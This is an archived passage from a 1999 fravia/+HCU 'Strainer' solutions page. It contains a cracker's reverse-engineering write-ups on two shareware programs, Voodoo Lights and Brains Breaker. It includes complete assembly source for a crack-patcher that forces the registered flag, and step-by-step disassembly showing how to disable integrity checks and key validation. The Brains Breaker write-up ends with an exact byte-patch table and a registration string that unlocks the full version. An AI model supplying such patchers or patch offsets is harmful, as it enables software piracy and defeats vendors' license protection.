004120A4 push ebx 004120A5 mov eax, [ebp+var_4] 004120A8 push eax 004120A9 call j_CryptHashData 004120AE test
eax, eax 004120B0 setnz dl 004120B3 and edx, 1 004120B6 push edx 004120B7 call sub_411D70 004120BC add esp, 8
004120BF push offset dword_46D4F8 004120C4 mov ecx, dword_46D500 004120CA push ecx 004120CB mov eax,
dword_46D4FC 004120D0 push eax 004120D1 call sub_411DC4 004120D6 add esp, 0Ch 004120D9 mov edx,
dword_46D4F8 004120DF push 0 004120E1 push 0 004120E3 push edx 004120E4 mov ecx, [ebp+arg_4] 004120E7 push ecx
004120E8 mov eax, [ebp+arg_0] 004120EB push eax 004120EC mov edx, [ebp+var_4] 004120EF push edx 004120F0 call
j_CryptVerifySignatureA 004120F5 test eax, eax 004120F7 push offset aCryptdestroyFa 004120FC setnz bl 004120FF mov
eax, [ebp+var_4] 00412102 and ebx, 1 00412105 push eax 00412106 call j_CryptDestroyHash 0041210B test eax, eax

http://www.instinct.org/fravia/99solu/int0com.htm (18 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

0041210D setnz dl 00412110 and edx, 1 00412113 push edx 00412114 call sub_411D70 00412119 add esp, 8 0041211C push
offset aCryptdestroyke 00412121 mov ecx, dword_46D4F8 00412127 push ecx 00412128 call j_CryptDestroyKey 0041212D
test eax, eax 0041212F setnz al 00412132 and eax, 1 00412135 push eax 00412136 call sub_411D70 0041213B add esp, 8
0041213E call sub_411E40 00412143 mov eax, ebx ; <------------------ here 00412145 pop esi ; if ebx=1 - VL registered
00412146 pop ebx 00412147 pop ecx 00412148 pop ebp 00412149 retn 00412149 Validate_Key? endp How stupid can be
authors of shareware !!! So cool encryption and after all stupid flag, and only in one place .... After I ran patched screen saver,
and opened Registration window, I saw "Thank you .... blah blah Registered to: not registered". "It aint nice", thought I and
searched registry for "Voodool". I found its key and subkey "Registration" with "Owner" value set to "not registered". I decided
make patcher which will not only patch target but also can restore target back to its original state, i.e. depatch, also my patcher
changes "Owner" value in registry to string entered by user. For creating patcher I used AsmEdit 1.82a - great tool. Btw, I had
to crack it first, because UCF crack that came with archive doesn't seem to work on my PII (powerfull, but strange cpu's , they
don't run well many old dos programms in W95, especially protected or encrypted ones). As soon as I depacked asmshell.exe
everything became clear for me. Several integrity checks ("Error in REALITY.SYS..."), check for length of asmshell.exe,
check for expiration, check for name of asmshell ("ALAS, HACKER , YOU MUST NOT RENAME THIS LITTLE CUTE
PROGRAM " :)). Anyway, heres the patcher: ;------------------------- vl_crk.asm -------------------------------- ; Voodoo Lights
v1.1(beta 9) crack-patch ; ; TASM 5.0r FULL ; compile: tasm32.exe -ml -m5 -q vl_crk ; link: tlink32.exe -Tpe -aa -c -x
vl_crk.obj ,,, import32 ,, vl_crk.res ; resource: use BRW 4.5 to compile vl_crk.rc ; ; (C)oded by iNT_03h in 1998. .386p .model
flat,stdCALL ;---------------------------extrn--------------------- Extrn RegCreateKeyExA:proc Extrn RegSetValueExA:proc Extrn
RegDeleteKeyA:proc Extrn RegOpenKeyExA:proc Extrn RegCloseKey:proc Extrn RegDeleteValueA:proc Extrn
GetDlgItemTextA:proc Extrn MessageBoxA:proc Extrn EndDialog:proc Extrn GetDlgItem:proc Extrn SetFocus:proc Extrn
SendMessageA:proc Extrn ExitProcess:proc Extrn DialogBoxParamA:proc Extrn GetModuleHandleA:proc Extrn
GetFileSize:proc Extrn CreateFileA:proc Extrn ReadFile:proc Extrn WriteFile:proc Extrn CloseFile:proc Extrn
SetFileAttributesA:proc Extrn SetFilePointer:proc Extrn CloseHandle:proc Include windows.inc ; ---------------------------- def
stuff ----------------------- Id_restore Equ 101 Id_edit Equ 102 False Equ 0 True Equ 1 Dialog1 Equ 103 ; defs for CreateFileA
Generic_write equ 40000000h Generic_read equ 80000000h Gr_gw equ 40000000h or 80000000h File_attribute_normal equ
00000080h Open_existing equ 00000003h ;defs for RegCreateKeyA REG_CREATED_NEW_KEY equ 1
REG_OPENED_EXISTING_KEY equ 2 ;---------------------------------------data ----------------------- .data ;Tempword Dd 0 ; for
RegCreateKeyEx Disposition dd ? Result dd ? Reg_key db 'SOFTWARE\Smd\VoodooLights\1.1\Registration',0 Reg_val db
'Owner',0 Dlg_handle Dd 0 Title2 Db 'Success',0 Title1 Db 'Error',0 Handle Dd ? ; file handle Filename Db
'VoodooLights.scr',0 ; our target Error_msg1 Db 'The file "VoodooLights.scr" is not found in current directory.',0AH,0DH,0
Error_msg2 Db 'The VoodooLights is already cracked!',0AH,0DH,0 Error_msg3 Db 'Probably this is a different version ' Db
'of VoodooLights.',0AH,0DH,0 Error_msg4 Db 'Wrong file size. It must be 1,593,344 bytes.',0ah,0dh,0 Error_msg5 Db 'Can`t
restore. The VoodooLights is not cracked yet!',0ah,0dh,0 Error_msg6 Db 'Can`t patch file!',0ah,0dh,0 Error_msg7 Db 'Can`t
read from file!',0ah,0dh,0 Error_msg8 Db 'Can`t move file pointer!',0ah,0dh,0 Reg_msg db 'Can`t create registry
key!',0AH,0DH,0 Reg_msg1 db 'Can`t delete registry key!',0AH,0DH,0 Done_msg Db ' Patching... Done.',0AH,0DH,0
Restore_msg db 'Restoring VoodooLights... Done.',0AH,0DH,0 Patch_size Dd 2 ;File_size Dd 17CA00h ;for beta 8 File_size
Dd 185000h ;for beta 8 ;Patch_loc Dd 11743h ; loc of "reg" flag set for Beta 8 Patch_loc Dd 12113h ; loc of "reg" flag set for
Beta 9 Orig_bytes Db 8Bh,0C3h ; mov eax,ebx Cracked_bytes Db 0B0h,01 ; mov al,1 Bytes_writen Dd 2 Dup (0) Byte_read
Dd ? Read_buf Dd 2 Dup (0) Buff Db (64) Dup(0) ; set lenght of ur input + 1 Buff_len Equ 64 Hinst Dd 0
;------------------------------------ code "---------------.class" tppabs="http://fravia.org/99solu/---------------.class" .code START:
call GetModuleHandleA ;get hmod (in eax) mov [Hinst],EAX push Offset Buff ;LPARAM to pass to dialog push Offset
MYDLG ;DLGPROC lpDialogFunc push 0 ;window handle of this window push Dialog1 ;Dialog ID push [Hinst] ;Module
Instance call DialogBoxParamA ;Invoke Dialog call ExitProcess ; ----------------------------- Dlg proc --------------------------
MYDLG Proc Hdlg:Dword, wmsg:Dword, wparam:Dword, lparam:Dword cmp [wmsg],WM_INITDIALOG ;if message is
INITDIALOG then jne Return_ ;just return mov EAX, Offset Buff push Id_edit ;get handle push [Hdlg] ;of the edit call
GetDlgItem ;field push EAX ;push handle of edit1 push EAX ;and save for LIMITTEXT call SetFocus ;set focus to this field
pop EAX push 0 push Buff_len-1 ; don count 0 push EM_LIMITTEXT push EAX call SendMessageA ;limit text size mov
EAX,False ;FALSE because we set the focus jmp DLG_RET ;go and return Return_: cmp [wmsg],WM_COMMAND ;Is
message is a WM_COMMAND? jne DLG_DONE ;No, then just return mov EAX,[wparam] cmp EAX,IDCANCEL je
CANCEL cmp EAX,Id_restore jne CHECKOK ;------------------------------ DEPATCHING --------------------------------- push
Buff_len ; BUT HERE WE TAKE ALL BUFFER WITH 0 AT END push Offset Buff push Id_edit ;Contents of the edit field
push [Hdlg] ;handle to the dialog call GetDlgItemTextA ;Get the text from edit field call OPEN_N_READ test eax,eax ; error?
jz Exit_ mov ESI, Offset Read_buf mov EDI, Offset Cracked_bytes ; check if target already cracked mov ECX, [Patch_size]
rep cmpsb jz GO_ON3 mov ESI, Offset Read_buf mov EDI, Offset Orig_bytes ;check for original bytes mov ECX,
[Patch_size] rep cmpsb jz GO_ON3_1 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg3 ;

http://www.instinct.org/fravia/99solu/int0com.htm (19 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

diferent version of voodoo lights push NULL call MessageBoxA jmp Exit_ GO_ON3_1: push MB_OK or MB_ICONHAND
push Offset Title1 push Offset Error_msg5 ; target is not cracked yet push NULL call MessageBoxA jmp Exit_ GO_ON3: push
NULL push NULL push Dword Ptr [Patch_loc] push Handle call SetFilePointer ; move file pointer to offset we need to
depatch cmp EAX,-1 jnz GO_ON4 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg8 push NULL
call MessageBoxA ; can't move file pointer jmp Exit_ GO_ON4: push NULL push Offset Bytes_writen push Dword Ptr
[Patch_size] push Offset Orig_bytes push Handle call WriteFile ; restore cracked target to original state cmp EAX,0 jnz Done1
push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg6 push NULL call MessageBoxA ; can't write to
file jmp Exit_ Done1: push MB_OK push Offset Title2 push Offset Restore_msg push NULL call MessageBoxA ; done push
offset Reg_key push 80000002h ; HKEY_LOCAL_MACHINE Call RegDeleteKeyA ; delete "Registration" key cmp eax,0 jz
Exit_ push MB_OK or MB_ICONHAND push Offset Title1 push Offset Reg_msg1 push NULL call MessageBoxA ; can't
delete key jmp Exit_ ;Closekey: ; push Result ; call RegCloseKey jmp Exit_ ;------------------------------ PATCHING
--------------------------------- CHECKOK: cmp EAX,IDOK jne DLG_DONE push Buff_len ; BUT HERE WE TAKE ALL
BUFFER WITH 0 AT END push Offset Buff push Id_edit ;Contents of the edit field push [Hdlg] ;handle to the dialog call
GetDlgItemTextA ;Get the text from edit field call OPEN_N_READ ; open and read target test eax,eax ; error ? jz Exit_ mov
ESI, Offset Read_buf mov EDI, Offset Orig_bytes mov ECX, [Patch_size] rep cmpsb ; check if its our uncracked target jz
GO_ON2 mov ESI, Offset Read_buf mov EDI, Offset Cracked_bytes mov ECX, [Patch_size] rep cmpsb ; check if target
already patched jz GO_ON2_1 ; so if we land here push MB_OK or MB_ICONHAND push Offset Title1 push Offset
Error_msg3 ; diferent version of voodoo lights push NULL call MessageBoxA jmp Exit_ GO_ON2_1: push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Error_msg2 ; already cracked push NULL call MessageBoxA jmp Exit_
GO_ON2: push NULL push NULL push Dword Ptr [Patch_loc] push Handle call SetFilePointer ; move file pointer to offset
we need to patch cmp EAX,-1 jnz GO_ON5 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg8
push NULL call MessageBoxA ; can't move file pointer jmp Exit_ GO_ON5: push NULL push Offset Bytes_writen push
Dword Ptr [Patch_size] push Offset Cracked_bytes push Handle call WriteFile ; patch target cmp EAX,0 jnz Done2 push
MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg6 push NULL call MessageBoxA ; can't write to file
jmp Exit_ Done2: push MB_OK push Offset Title2 push Offset Done_msg push NULL call MessageBoxA ; done ; LONG
RegCreateKeyEx( ; HKEY hKey, // handle of an open key ; LPCTSTR lpszSubKey, // address of subkey name ; DWORD
dwReserved, // reserved ; LPTSTR lpszClass, // address of class string ; DWORD fdwOptions, // special options flag ;
REGSAM samDesired, // desired security access ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of key
security structure ; PHKEY phkResult, // address of buffer for opened handle ; LPDWORD lpdwDisposition // address of
disposition value buffer ; ); push offset Disposition push offset Result push NULL ; we dont want any security at all push
0f003fh ; KEY_ALL_ACCCESS push 0 push 0 push 0 push offset Reg_key push 80000002h ; HKEY_LOCAL_MACHINE
call RegCreateKeyExA ; create or open (if it already exist) cmp eax,0 ; key "Registration" je Set_Val push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Reg_msg push NULL call MessageBoxA ; can't create key jmp Exit_
Set_Val: mov ebx,offset Buff ; calc len of entered string call STRLEN ;LONG RegSetValueEx(hkey, lpszValueName,
dwReserved, fdwType, lpbData, cbData) ;HKEY hkey; /* handle of key to set value for */ ;LPCTSTR lpszValueName; /*
address of value to set */ ;DWORD dwReserved; /* reserved */ ;DWORD fdwType; /* flag for value type */ ;CONST BYTE *
lpbData; /* address of value data */ ;DWORD cbData; /* size of value data */ inc ECX ; count 0 push ECX ; len of string push
offset Buff push 1 ; REG_SZ push NULL push offset Reg_val ; "owner" push Result call RegSetValueExA ; set "Owner" value
to string ; entered by user push Result call RegCloseKey ; close key Exit_: push Handle call CloseHandle jmp DLG_DONE
CANCEL: push [wparam] ; terminate with wparam as the return push [Hdlg] ; handle of the dialog call EndDialog ; end dialog
mov EAX,True jmp DLG_RET DLG_DONE: mov EAX,False DLG_RET: ret MYDLG Endp ; STRLEN ; ebx = input string
pointer ; returns ecx with the string length STRLEN Proc xor ECX,ECX ;clear count loop: mov AL,Byte Ptr[EBX] ;get char of
string cmp AL,0 ;is it zero? je DONE ;done if zero term char inc ECX ;increment count inc EBX ;increment pointer jmp loop
;continue DONE: ret STRLEN Endp OPEN_N_READ Proc ; I decided to put next code sequence to sub because we need it
twice ;HANDLE CreateFile( ; LPCTSTR lpFileName, // address of name of the file ; DWORD dwDesiredAccess, // access
(read-write) mode ; DWORD dwShareMode, // share mode ; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // address of
security descriptor ; DWORD dwCreationDistribution, // how to create ; DWORD dwFlagsAndAttributes, // file attributes ;
HANDLE hTemplateFile // handle of file with attributes to copy ; ); AGAIN: push NULL ; no template push
File_attribute_normal push Open_existing push NULL ; no security atr push NULL ; no sharing push Gr_gw push Offset
Filename call CreateFileA ; open our target mov Handle, EAX cmp EAX, -1 ; error ? jnz GO_ON1 ; if there was an error while
opening file ; lets try to set of READ_ONLY attribute ; and only if this is not work then we assume that file not found push 80h
;FILE_ATRIBUTES_NORMAL push offset Filename call SetFileAttributesA ; set attributes cmp eax,1 jz AGAIN ; and try to
open target again push MB_OK or MB_ICONHAND ; file open error push Offset Title1 push Offset Error_msg1 push NULL
call MessageBoxA jmp Exit1 GO_ON1: push NULL push Handle call GetFileSize ; check target's file size cmp EAX,File_size
jz GO_ON1_1 push MB_OK or MB_ICONHAND push Offset Title1 push Offset Error_msg4 ; wrong file size push NULL

http://www.instinct.org/fravia/99solu/int0com.htm (20 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

call MessageBoxA jmp Exit1 ; Exit GO_ON1_1: push NULL push NULL push Dword Ptr [Patch_loc] push Handle call
SetFilePointer ; move file pointer to offset we gonna read from cmp EAX,-1 ; error? jnz GO_ON6 push MB_OK or
MB_ICONHAND push Offset Title1 push Offset Error_msg8 push NULL call MessageBoxA ; can't move file pointer jmp
Exit1 GO_ON6: push NULL push Offset Byte_read push Dword Ptr [Patch_size] push Offset Read_buf push Handle call
ReadFile ; read from patch location Patch_size bytes cmp eax,0 jnz Ret_ok push MB_OK or MB_ICONHAND push Offset
Title1 push Offset Error_msg7 push NULL call MessageBoxA ; can't move file pointer jmp Exit1 Ret_ok: mov eax,1 ret Exit1:
xor eax,eax ret OPEN_N_READ Endp End START ;----------------------------- end of vl_crk.asm ----------------------------
;------------------- vl_crk.rc, cut ---------------------------------------
/**************************************************************************** vl_crc.rc produced by Borland
Resource Workshop *****************************************************************************/ 103
DIALOG 160, 97, 194, 119 STYLE DS_ABSALIGN | DS_MODALFRAME | 0x4L | WS_POPUP | WS_VISIBLE |
WS_CAPTION | WS_SYSMENU CAPTION "Voodoo Lights 1.1(beta 9) Crack-Patch" FONT 8, "MS Sans Serif" {
CONTROL "not registered", 102, "EDIT", WS_BORDER | WS_TABSTOP, 10, 68, 173, 12 DEFPUSHBUTTON "Patch",
IDOK, 14, 95, 50, 14 PUSHBUTTON "Restore", 101, 72, 95, 50, 14 PUSHBUTTON "Exit", IDCANCEL, 130, 95, 50, 14
CTEXT "(C)oded by iNT_03h in 1998.", -1, 49, 9, 96, 12 CTEXT "String bellow will be displayed in Voodoo Lights
""Registered to:"" message. You can change it to whatever you want.", -1, 21, 34, 152, 28 } ;---------------------------- cut
------------------------------------ End of the solution.
Solution for Part III of +HCU Strainer 99. Solved by iNT_03h. TARGET: Brains Breaker ver 2.1b (32bits) TOOLS: SoftIce
3.22 for W95, IDA PRO 3.75 Full SOLUTION: First, English is not my motherlanguage, so please excuse my mistakes...
Second, I dont remember all way I went to fully understand protection scheme of target in details, because it took me about
month, I began to crack target, then leaved it due to other problems, returned to cracking again and again, so I'll try describe as
many details as posible, but I cant promice all steps would be described. // See end of solution if you want summary of patch
and summary of // the protection scheme instead of reading way to them step by step. I began with loading bbrk32.exe (593,920
bytes) into IDA. I tried to find usual strings, like "Thank for registering", or "Invalid registration code","Warning, programm
running in demo mode for evaluation...".No luck. Encrypted, thought I. So I decided to use live approach and ran SoftIce.
After BB ran, CTRL-D, and I tried to find those strings. That time strings were found. I looked at their location and saw a lot of
strings that can't be found in dead listing. I set BPM 4a1418 (in my case) - addres of string "Warning: The program running in
demo...", which appeared when I tried to play "DEMO" puzzles. SoftIce poped up at 43989c, I pressed F12 (return from proc)
several times, and finally stopped at 444493. I looked at *EAX, and I saw my beloved string "Warning: The ...". Aha, so CALL
4397AF at address 444493 returned addres of string in EAX, taking as param some value, for our string its 258h. All my founds
I commented in IDA, named CALL 4397AF as "Ret_Addres_Of_Decrypted_Msg". I played a little with param of
"Ret_Addres_Of_Decrypted_Msg", and got params value for all protection related strings. For example, 26c - "Registration
code detected!" 22e - "Seems that data you've entered is incorect....." and so on. After that it was much easier to work with
IDA. I looked how BB decide display NAG or not, when I play "DEMO" puzzles. At 444467 it called sub_46aa6c( later I
named it "Check_1") and if it returned 0 BB display NAG. I looked at that sub, hmm, it simply compares arg_0 with
dword_489990, I looked at dword_489990, it accessed from sub_44283a (later I named it "Set_Protection_Flags"). This sub, as
I understand later, set several protection-related flags. dword_489990 contains offset of dword_489970, and
dword_489970=15a4, this value returned by sub_414257. So, BB compare 15a4 with some value (argument for Check_1),
which calculated somehow, and only if that value also =15a4, Check_1 returned 1 - program registered. So I forced Check_1 to
always return 1 and ran BB. Message box appeared "Program was altered blah blah...", aha, integrity check. I found param for
this encrypted message to Ret_Addres_Of_Decrypted_Msg its 0be, and found (using binary search in IDA: 24,be,00) all place
in dead listing where this value used as arg. for Ret_Addres_Of_Decrypted_Msg, example: 00442CC0 push 0 00442CC2 call
Check_Integrity 00442CC7 cmp eax, 55443322h ; if dont equal then BB patched :) 00442CCC jz short loc_442D40 ; else all
ok 00442CCE push 12010h 00442CD3 push ds:off_483B84 00442CD9 add esp, 0FFFFFFFCh 00442CDC ... 24 be 00 mov
[esp+2C0h+var_2C0], 0BEh ; some kind of pointer 00442CE2 call Call_return_addr_of_decr_msg 00442CE7 push eax
00442CE8 push 0 00442CEA call j_MessageBoxA ; "Program altered..." There are 6 places in BB where integrity checked, so
we need to force six jumps :) 41fb69 jz -> jmp 442ccc jz -> jmp 443edb jnb -> jmp 44ba73 jnb -> jmp 451d76 jnb -> jmp
45a2f0 jnb -> jmp After integrity checks were killed, I returned to my Check_1 (I patched it, so it always returns 1) and ran BB.
hmmm, strange, "demo" puzzles which came with BB still had "demo" nag on them, but puzzles created by me were without
that writing. I started one of BB's "demo" puzzles and "Waring: The programm ..." message didn't appear ! Good, thought I. I
pressed F5 (auto solve) several times, completed puzzle - no nags. But when I decided to solve puzzle by myself and tried to
move pieces of puzzle by myself, strange thing happened - pieces only rotated and didnt want to move. I tried to create puzzle -
NAG appeared. So, patch I made doesnt decide all problems,and whats worse, it seems to me that BB uses Check_1 not only
for protection purposes. Then I decide to find how BB allow user to enter reginfo. Some imagination gave me several ideas: 1)
BB can check command line for some switches 2) BB can check Clipboard for reginfo 3) BB waits some keys combination 4)

http://www.instinct.org/fravia/99solu/int0com.htm (21 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

keyfile 5) drag 'n' drop file to BB 1) For checking cmd line BB uses sub_4428e3, BB calls it from WinMain (addres 43a0c4). I
named this sub "Check_CMD_line_and_etc", coz this sub , by the way, is main game loop :) At 442e7f in
"Check_CMD_line_and_etc" BB check for word "@INSTALLPOGMAN" At 442eb8 - for "@INSTALLPACK" ... At - for
"@jttestreg" - some stuff, that I didnt really understand. Test registration? So, no luck with command line. 2) I put several
words to clipboard, like "User:Name UserID:123 Key:12345", set bpx GetClipboardData and ran BB. SoftIce poped up in
user32, F12, and I'm at 4566d7. BB checks text from clipboard for word "Puzzler", "BrainsBreaker","BrainBreaker 2". Only if
last two words are in that text then sub_456af5( I named it "Validate_reg_info") from addres 456782 called. I went trough
code... In this sub BB moved and moved reginfo from place to place after finally stop at 456d23. Here two subs called, these
subs validate key: 456D23 loc_456D23: ; CODE XREF: Validate_reg_info 456D23 lea edx, [ebp+var_40] 456D26 push edx
456D27 push ebx 456D28 mov ecx, [ebx] 456D2A call dword ptr [ecx+8] ; 459ac1 <-- CALL 1 456D2D lea eax, [ebp+var_40]
456D30 push eax ; push result of previous sub 456D31 call Check_1 ; compare it with 15a4 456D36 test eax, eax 456D38 jz
short loc_456D55 ; NOPS here 456D3A lea edx, [ebp+var_44] 456D3D push edx 456D3E push 0 456D40 push 0 456D42 push
ebx 456D43 mov ecx, [ebx] 456D45 call dword ptr [ecx+10h] ; 459c3a <-- CALL 2 456D48 lea eax, [ebp+var_44] 456D4B
push eax ; the same 456D4C call Check_1 456D51 test eax, eax 456D53 jnz short loc_456D59 ;JMP here 456D55 456D55
loc_456D55: ; CODE XREF: Validate_reg_inf 456D55 xor eax, eax 456D57 jmp short loc_456D5E 456D59 ;

456D59 456D59 loc_456D59: ; CODE XREF: Validate_reg_inf 456D59 mov eax, 1 So if entered key valid , CALL 1 and
CALL 2 must return 15a4, I didn't want to explore those two subs, FPU comands inside didnt look funny, and afterall why care
about valid key if author of BB let us patch proggy ;-) As I found later (when explored case 3) reginfo must have exactly next
form: BrainsBreaker 2./Pack:Full;User:CRACKER;UserID:ID;Key:$L23456; BrainsBreaker 2 - must be this. Pack - can be
Full,Entry,Upgrade. User - your name here. UserID - your ID. Key - still dont know what form key must be. So I patched BB at
456D38 (2 nops) and at 456D53 (jmp instead jnz), plus remember check integrity kill patch, put BrainsBreaker
2Pack:Full;User:Name;UserID:MyID;Key:$L23456; at clipboard and ran BB. Fanfare and message box appeared "Registration
code detected. Thank for ...." and BB became registered. I checked all "bad" places, i.e. played "demo" puzzles, created own
puzzles, looked at Program Options, where "Name" was instead of "Unregistered" - it seemed to me thats all ok, BB really
became registered. But when I exited and restarted BB - all those NAGS appeared again. Why? Because BB stored invalid
reginfo somewhere (coz I forced it to do so) and when BB starts it begin to check reginfo again in some other place, which was
unknown for me that time, and of course reject invalid key. But where BB stored reginfo? I looked at bbrk.ini and: [PACKFull]
0=Name 1=MyID 2=4874c06e580dc4 ; encrypted and converted to ASCII key 3=2100 ; I think it means version of BB
4=22599f38 ; encrypted and converted to ASCII name 5=2141bb19 ; encrypted and converted to ASCII id I bpx
GetPrivateProfileStringA and after several tries I found sub which checks reginfo from bbrk.ini. It sub_469743, called only
once from "Check_CMD_line_and_etc" at 4433b8. I named sub_469743 as "Check_reginfo_from_bbrk_ini". In this sub after
reading and decrypting reginfo, again those CALL 1 and CALL 2: 469D4D loc_469D4D: ; CODE XREF: Check_Reginfo_fr
469D4D lea edx, [ebp+var_CC] 469D53 push edx 469D54 push ebx 469D55 mov ecx, [ebx] 469D57 call dword ptr [ecx+8];
CALL 1 469D5A lea eax, [ebp+var_CC] 469D60 push eax 469D61 call Check_1 ; compare result of CALL 1 with 15a4
469D66 test eax, eax 469D68 jz short loc_469DA4 469D6A lea edx, [ebp+var_D0] 469D70 push edx 469D71 push 0 469D73
push 0 469D75 push ebx 469D76 mov ecx, [ebx] 469D78 call dword ptr [ecx+10h] ; CALL 2 469D7B lea eax, [ebp+var_D0]
469D81 push eax 469D82 call Check_1 ; compare result of CALL 2 with 15a4 469D87 test eax, eax 469D89 jz short
loc_469DA4 469D8B mov [ebp+var_D4], ebx 469D91 lea edx, [ebp+var_D4] 469D97 push edx 469D98 push 1 469D9A push
[ebp+arg_0] ; VERY IMPORTANT: 469D9D call sub_41C8FF ; here BB set dword_489aa2 to 1 469DA2 jmp short
loc_469DDB ; this dword then used by protection So I patched 469D68 and 469D89 too (2 nops and 2 nops) and ran BB again.
This time everything was ok, no nags, no problems :)) But I decided to check another way of registering. 3) To be honest I
found this way of registering absolutely accidental when looked trough code in IDA. I saw switch case construction and after
some thinking (call it zen :)) I decided that its switch for several key combination, I tried all Fn - no luck, I tried all CTRL-Fn
and BINGO !!! When I pressed CTRL-F8 dialog box appeared asked me to enter reginfo: Pack, Name, Id, Key. This case is at
44c864: 44C864 loc_44C864: ; CODE XREF: 0000:0044B964 j 44C864 ; DATA XREF: 0000:0044B96B o 44C864 push 1Ch
; case 0x456 - Ctrl-F8 44C866 call call_2_lib_func ; call memset and newoperator? 44C86B mov [ebp-170h], eax ; 44C871 test
eax, eax 44C873 jz loc_44D54F 44C879 push 0 44C87B push dword ptr [ebp-170h] 44C881 call Registration ; <------ 46ace5
44C886 jmp loc_44D54F I explored sub_Registration. It calls other, well hidden sub, which validate entered reginfo: 46ACE5
push ebp 46ACE6 mov ebp, esp 46ACE8 add esp, 0FFFFFE00h 46ACEE push ebx 46ACEF push esi 46ACF0 push edi
46ACF1 mov ebx, [ebp+arg_0] 46ACF4 lea esi, [ebp+var_30] 46ACF7 push ds:dword_489A88 46ACFD push 8 46ACFF
push ebx 46AD00 call sub_420CDE 46AD05 mov dword ptr [ebx], offset off_4858BC ; pointers, pointers... 4858BC
off_4858BC dd offset loc_46B1AD ; DATA XREF: Registration+20 ; this loc_46b1ad is that well hidden sub :) ; I named it
Validate_Reginfo_CTRL_F8 46AD0B push 1 46AD0D push offset unk_4899CE 46AD12 call sub_46B6E9 ...... 46AD4F push
20003h 46AD54 push 80C00000h 46AD59 push 1 46AD5B lea edx, [ebp+var_8] 46AD5E push edx 46AD5F push 0 46AD61

http://www.instinct.org/fravia/99solu/int0com.htm (22 of 25) [2/7/2001 2:58:15 PM]


int0com.htm +HCU 1999 ~ The 1999 STRAINER's solutions

push ebx 46AD62 call sub_4209DD ; deep inside BB calls Validate_Reginfo_CTRL_F8 Funny, that this
"Validate_Reginfo_CTRL_F8" used not only to check reginfo entered using CTRL_F8,but also for draw registering dialog box,
how tricky :) 46B1AD Validate_Reginfo_CTRL_F8: ; DATA XREF: 0000:004858BC o 46B1AD push ebp 46B1AE mov ebp,
esp 46B1B0 add esp, 0FFFFFF8Ch 46B1B3 push ebx 46B1B4 push esi 46B1B5 push edi 46B1B6 mov ebx, [ebp+8] 46B1B9
mov esi, [ebp+0Ch] 46B1BC mov eax, esi 46B1BE mov dx, [eax] 46B1C1 sub dx, 65h 46B1C5 jz loc_46B51A 46B1CB sub
dx, 2 46B1CF jnz loc_46B543 46B1D5 or byte ptr [eax+6], 2 46B1D9 mov ecx, [eax+7] 46B1DC dec ecx 46B1DD jz short
loc_46B1F3 46B1DF dec ecx 46B1E0 jnz loc_46B514 <-- there BB begins check reginfo 46B1E6 push 2 46B1E8 push ebx
46B1E9 mov eax, [ebx] 46B1EB call dword ptr [eax+20h] 46B1EE jmp loc_46B543 ...... At 46b514 BB begins to create from
entered reginfo string like BrainsBreaker 2Pack:Full;User:Name;UserID:MyID;Key:$L23456; and then calls
"Validate_Reginfo", sub, used for validating reginfo from clipboard too. And coz I patched "Validate_Reginfo" earlier, it
accepts any reginfo too. ---------------------------------------------------------------------------
--------------------------------------------------------------------------- Summary of the patch: Original: Cracked: 0001F169:
0F E9 0001F16A: 84 A2 0001F16B: A1 00 0001F16E: 00 90 000422CC: 74 EB 000434DB: 73 EB check
integrity kill 0004B073: 0F E9 0004B074: 83 86 0004B075: 85 00 0004B078: 00 90 00051376: 73 EB
00056338: 74 90 00056339: 1B 90 allow any reginfo 00056353: 75 EB 000598F0: 73 EB ;
check integrity kill 00069368: 74 90 00069369: 3A 90 allow any reginfo 00069389: 74 90 0006938A:
19 90 After this patch we need press CTRL-F8, enter pack "Full"( to get all features on) any name, any ID, any
key and BB becomes registered with all features on. Or we can put reginfo to clipboard in next format: BrainsBreaker
2./Pack:Full;User:CRACKER;UserID:ID;Key:$123456; and run BB.
---------------------------------------------------------------------------- ----------------------------------------------------------------------------
Summary of the protection scheme: 1) In WinMain: a) 439F6E loc_439F6E: ; CODE XREF: WinMain+5A j 439F6E mov
ds:dword_4898A8, eax 439F73 call j_GetVersion 439F78 call Set_Protection_Flags ; this sub does next: Set
dword_489990=dword_489970=15a4 - then used in Check_1 dword_489980=offset_of_dword_489970 b) at 43a0c4 call
"Check_CMD_line_n_etc": 2) in "Check_CMD_line_n_etc": * I wont include here places where integrity of BB checked * a)
4433AE loc_4433AE: ; CODE XREF: Check_CMD_Line_a 4433AE push offset dword_48980A 4433B3 push offset
unk_489A8E 4433B8 call Check_Reginfo_from_bbrk_ini ; if we already registered and bbrk.ini contains valid reginfo (or if we
patched "Check_Reginfo_from_bbrk_ini" before ;) then dword_489aa2=1 - very important flag !!!, else dword_489aa2=0. b)
4437FC lea edx, [ebp+var_294] 443802 push edx 443803 call sub_425AD8 ; in this call BB get reginfo from clipboard and
check it, using "Validate_reginfo" sub 3) There are several subs which used not only by protection (very smart move of author):
a) Check_1: 46AA6C arg_0 = dword ptr 8 46AA6C 46AA6C push ebp 46AA6D mov ebp, esp 46AA6F mov eax, [ebp+arg_0]
46AA72 mov eax, [eax] 46AA74 cmp eax, ds:dword_489990 ; compare arg_0 with 15a4 46AA7A setz dl 46AA7D and edx, 1
46AA80 mov eax, edx ; if arg_0=15a4 then eax=1 46AA82 pop ebp 46AA83 retn 4 46AA83 Check_1 endp b) Check_2 -
sub_469e31 This sub calls Check_1 c) Check_3 - sub_46aa1e Its not really check, its some kind of flag set If arg_0=0, then sub
put to [arg_4],0 If arg_0=1, then sub put to [arg_4],15a4 46AA1E arg_0 = dword ptr 8 46AA1E arg_4 = dword ptr 0Ch
